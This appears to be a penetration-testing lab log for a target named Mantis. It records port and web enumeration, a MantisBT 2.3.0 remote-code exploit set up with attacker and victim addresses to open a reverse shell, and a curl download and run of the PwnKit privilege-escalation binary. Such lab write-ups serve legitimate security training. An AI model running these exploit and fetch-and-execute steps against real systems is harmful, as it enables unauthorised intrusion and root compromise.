Mantis

๐Ÿงช Pentest Log: {{date:2025-08-26}}

๐Ÿ” Target Information

ip=10.11.1.74

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

Found robots.txt file

User-agent: *
Disallow /mantisbt-2.3.0

Google for mantisbt-2.3.0 exploit, found

https://www.exploit-db.com/exploits/48818

๐Ÿ’ฃ Exploitation

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

https://www.exploit-db.com/exploits/48818

		self.RHOST = "10.11.1.74" # Victim IP
		self.RPORT = "80" # Victim port
		self.LHOST = "172.16.1.2" # Attacker IP
		self.LPORT = "80" # Attacker Port
python2 48818.py

python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Kernel Check:

uname -a

found

4.4.0-21-generic #37-Ubuntu

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit32 -o PwnKit32

chmod +x PwnKit32
./PwnKit32
8fv6wznh6efx966okspg